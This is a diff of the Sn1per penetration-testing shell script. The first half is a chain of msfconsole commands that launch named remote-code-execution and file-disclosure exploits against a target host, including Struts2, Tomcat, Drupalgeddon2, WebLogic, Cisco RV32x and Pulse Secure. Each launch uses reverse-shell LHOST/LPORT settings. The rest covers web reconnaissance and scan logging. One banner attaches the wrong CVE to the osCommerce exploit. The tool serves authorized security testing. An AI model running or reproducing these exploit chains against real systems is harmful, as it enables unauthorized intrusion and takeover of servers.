echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 SHOWCASE OGNL RCE CVE-2017-9805 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_rest_xstream; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 REST XSTREAM RCE CVE-2017-9791 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/tomcat_jsp_upload_bypass; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 NAMESPACE REDIRECT OGNL INJECTION CVE-2018-11776 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_namespace_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CISCO ASA TRAVERSAL CVE-2018-0296 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/cisco_directory_traversal; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ORACLE WEBLOGIC SERVER DESERIALIZATION RCE CVE-2018-2628 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OSCOMMERCE INSTALLER RCE CVE-2018-2628 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/multi/http/oscommerce_installer_unauth_code_exec; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DRUPAL REST UNSERIALIZE CVE-2019-6340 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use unix/webapp/drupal_restws_unserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JAVA RMI SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/misc/java_rmi_server; setg RHOSTS \"$TARGET\"; set RPORT \"$PORT\"; run; back; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PULSE SECURE VPN ARBITRARY FILE DISCLOSURE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use gather/pulse_secure_file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CITRIX GATEWAY ARBITRARY CODE EXECUTION VULNERABILITY CVE-2019-19781 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -vk --path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep "You don’t have permission to access /vpns/" >/dev/null && echo "VULNERABLE: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt || echo "MITIGATED: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING RAILS FILE EXPOSURE EXPLOIT CVE-2019-5418 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/gather/rails_doubletap_file_read; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CISCO RV320 AND RV325 UNAUTHENTICATED RCE EXPLOIT CVE-2019-1653 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/linux/http/cisco_rv32x_rce; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw 2> /dev/null
|
||||
fi
|
||||
|
||||
|
|
@ -1,10 +1,10 @@
|
|||
# WEBPORTHTTP MODE #####################################################################################################
|
||||
if [ "$MODE" = "webporthttp" ]; then
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ "$MODE" = "webporthttp" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -14,8 +14,16 @@ if [ "$MODE" = "webporthttp" ]; then
|
|||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
|
|
@ -25,7 +33,7 @@ if [ "$MODE" = "webporthttp" ]; then
|
|||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[https://sn1persecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
|
|
@ -62,198 +70,388 @@ if [ "$MODE" = "webporthttp" ]; then
|
|||
echo -e " \"' '\" "
|
||||
echo -e " ''''$RESET"
|
||||
echo ""
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -sV -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-http-$TARGET.xml
|
||||
port_http=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-http-$TARGET.xml | grep open`
|
||||
if [ -z "$port_http" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
port_http=$PORT
|
||||
if [[ -z "$port_http" ]]; then
|
||||
echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET"
|
||||
if [ "$WAFWOOF" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R --insecure http://$TARGET:$PORT | tee $LOOT_DIR/web/headers-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R -L --insecure http://$TARGET:$PORT | tee $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R --insecure -X OPTIONS http://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [[ "$WAFWOOF" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wafw00f http://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-http-port$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http-port80.txt 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WHATWEB" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WHATWEB" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 http://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw > $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WIG" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WIG" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q http://$TARGET:$PORT | tee $LOOT_DIR/web/wig-$TARGET-http-$PORT
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http-$PORT > $LOOT_DIR/web/wig-$TARGET-http-$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-http-$PORT 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 http://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 3 -I -s -R http://$TARGET:$PORT | tee $LOOT_DIR/web/headers-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R -L http://$TARGET:$PORT | tee $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [ "$WEBTECH" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u http://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http-port$PORT.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg"
|
||||
if [ ${DISTRO} == "blackarch" ]; then
|
||||
